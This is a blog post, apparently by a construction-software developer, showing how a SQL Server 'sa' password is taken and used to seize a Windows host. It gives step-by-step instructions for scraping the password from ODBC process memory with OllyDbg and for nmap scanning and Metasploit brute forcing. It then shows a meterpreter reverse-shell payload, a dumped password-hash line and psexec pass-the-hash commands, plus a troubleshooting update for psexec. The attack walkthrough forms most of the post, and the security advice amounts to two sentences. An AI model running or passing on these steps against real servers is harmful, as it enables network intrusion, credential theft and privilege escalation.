How important is the ‘sa’ password of MS SQL server against hacking?

I’m working now in software branch for construction industry. After years of working together with my customers, I have found out that the IT security at the construction area is not getting enough attention. The world is moving on mobility and automation, people are trying to remotely control all equipment, to make everything working automatically or just to control the work progress. Same things happen to construction field too. We’re planning, developing many products so that we could optimize the workflow, centralize data, minimize risk… at best to save time and money for our customers.

This trend is really nice but let’s take a look at following scenario: You’re driving along a highway. This highway will be widened for 2 more lanes of each direction. You’ll see a lot of workers, engineers and cranes, excavators, containers… along the construction area. Maybe you think that they are all belong to a big company but, the truth is, they aren’t. Most of construction areas are built by corporation of many small or medium companies. Therefore the equipment and peoples come from many different companies to a common network for working together . There is no domain for them at all. Just LAN, plug in and go!

In this scenario, how can we be sure, if the data we receive, are correct? How can we be sure, if our robots are not manipulated by a unknown hacker? How can we be sure that the data are not manipulated by someone? It’s very difficult. Today I would like to make an example demonstrating how this network can be hacked.

At construction area, IT department builds up a MS SQL Sever with SQL Authentification (of course there are no domain to use) and let it run innocently with ‘NT AUTHORITY\SYSTEM’. They set a SQL Account for a software with all administrator permissions because the software needs to create, backup, delete databases on server. The password was encrypted at connection string, no one can read it except the program. So they think everything is alright. Really?

1. ‘sa’ password can be read from memory

For any software, with any protocol, when they say that the password is required once and will work forever, that means the password will be either stored in plain text or in hash. For example, Yahoo Messenger doesn’t store the password in clear text, but in hash. However it doesn’t make sense either because I can take the hash and pass the authentication. Back to our case, we can really read clear text password from memory because SQL Server library still needs a clear text one for encrypting and sends hash to server for authentication. Let’s make an example.

Use Data Sources (ODBC) tool (Control Panel –> Administrative Tools –> Data Sources (ODBC)) on any Windows version to connect to a SQL server. Open that tool, go to ‘User DSN’ –> Add –> Scroll down to ‘SQL Server’ –> Next –> Select MS SQL server you want to connect –> Next –> Enter your SQL Authentication

ODBC SQL Authentication

Password was displayed with ‘*’. If you use Wireshark to capture packet sent to SQL Server, you won’t get password either. It was encrypted before sent. However if I use OllyDbg (http://www.ollydbg.de/) to attach the current ODBC process

OllyDbg attach process

OllyDbg attach Microsoft ODBC Administrator

Then show its memory map (Alt-M)

OllyDbg show memory map

Then Search in its memory (Ctrl-B)

OllyDbg Memory Map Search

Enter pattern with unicode ‘sa’ or better with ‘SQLEXPRESS’

OllyDbg Search string

I get the password immediately

OllyDbg password from memory

You have realized although we can’t see or sniff the password, it still be there in the memory. When someone has access to the program connecting to a SQL Server, he has also the username and password. It doesn’t depend on if the program encrypts these sensible information. They will be clear in memory.

2. ‘sa’ password can be brute forced

Reading from memory is not only a unique way to get SQL Authentication password. It can be brute forced with dictionary even though this method is much more theoretical. In real case, the SQL Authentication is usually complex, you can’t easily break it. It’s really hard to break unless you have a good built dictionary. I don’t have this dictionary either but I would like to show how it works with exploit tools. Let’s download a Backtrack disk http://www.backtrack-linux.org/ if you still don’t have one.

Menu Applications –> BackTrack –> Exploitation Tools –> Network Exploitation Tools –> Metasploit Framework –> msfconsole

backtrack msfconsole

Our test SQL Server has IP of 192.168.56.102. Let’s start with foot printing step. I will scan all of its opening ports with nmap.

<br />nmap -O 192.168.56.101<br />

Metasploit nmap

Besides of opening SQL Server port 1035, there are some default active ports of Windows service such as NetBios over TCP/IP. We need only what belongs to SQL Server, write down necessary information such as server IP 192.168.56.101 and port, in this case is 1035.

If we want to get more information about that server such as instance, version or just want to check if server is still running. We can use utility ‘mssql_ping’ of ‘mssql’ module of Metasploit to dig this information out.

<br />use auxiliary/scanner/mssql/mssql_ping<br />

metasploit mssql_ping

to see which options are provided and already set by this utility you can use command ‘show options’. We need only metadata of sever, so only set parameter RHOSTS to 192.168.56.102 (our target server’s IP), and ‘exploit’ it like following image below

metasploit mssql_ping

The server is running on Windows XP (well, i have no Windows server to use :)), has instance SQLEXPRESS of version 10.0.1600.22 listening on port 1035. That’s all what we need and now we’re ready for brute forcing for ‘sa’ password.

Change to ‘mssql_login’ utility in ‘mssql’ module by command

<br />use auxiliary/scanner/mssql/mssql_login<br />

Set all parameters we got at foot printing steps before

<br />set RHOSTS 192.168.56.101<br />set RPORT 1035<br />

Metasploit mssql_login

Next is the most important argument, your dictionary. You have to build it up own or ‘borrow’ from someone else. When you have it, you can set PASS_FILE parameter to your dictionary.

<br />set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt<br />

Replace my dummy path with your dictionary. With some lucky, after ‘exploit’ command, you’ll got brute force result.

Metasploit Hack successfully

As I told before, here is just a theoretical step. I have edited the dictionary so that the password can be found as fast as possible. In real case, maybe you’ll never find the password with this brute force method.

3. Exploit with ‘sa’ password

Now the hacker got the ‘sa’ password from either section 1 or section 2. What could he do now? He gets only connection to databases on SQL Server. The data on SQL Server may be not strictly secret and sensible. Maybe the situation is not so bad. But the question is, is that already the end? Do we lose only databases on server or do we really lose control over the network? Let’s go back to BackTrack and switch to ‘mysql_payload’ utility and build up a reverse TCP connection from server back to our local.

<br />use windows/mssql/mssql_payload<br />set PAYLOAD windows/meterpreter/reverse_tcp<br />set LHOST 192.168.56.102<br />set RHOST 192.168.56.101<br />set PASSWORD iomJyE<br />set RPORT 1035<br />exploit<br />

PSExec

After a while, meterpreter is ready to use. Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. (From offensive-security.com)

Metasploit mssql_payload

Now we will apply the same concept with Yahoo Messenger pass hash attack. I will steal pass hash of an account on server, and use that pass hash for privilege escalation attack.

Metasploit Hashdump

I just take one victim account, for example, the ‘HackedAccount’

<br />HackedAccount:1009:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::<br />

Now use ‘psexec’ to escalate our privileges.

<br />use windows/smb/psexec<br />set PAYLOAD windows/meterpreter/reverse_tcp<br />set SMBUser HackedAccount<br />set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4<br />set RHOST 192.168.56.102<br />set LHOST 192.168.56.101<br />exploit<br />

Metasploit Pass hash

After this, you can start a ‘shell’ and the world is yours. 😉

I hope that I brought you a useful stuff about ‘sa’ password (or password of any SQL Administrator account). Keep it secret as possible and install an antivirus on your server for killing psexec whenever it is copied from a hacker.

UPDATE 22.06.2013
1. “STATUS_LOGON_FAILURE” when using smb psexec.
It is possible that you get an error message as “STATUS_LOGON_FAILURE” when executing psexec, even from a computer where you dumped the hash of the local administrator account. Simple File Sharing in Windows XP (and other Windows version too) is most probably the cause. You have to disable it in order to get psexec work properly. For example in Windows XP
Go to Start –> My Computer
Open Windows Explorer –> Tools –> Folder Options… –> View –> Under Advanced Settings –> Uncheck “Use simple file sharing”

Use simple file sharing

Leave a Reply

Your email address will not be published. Required fields are marked *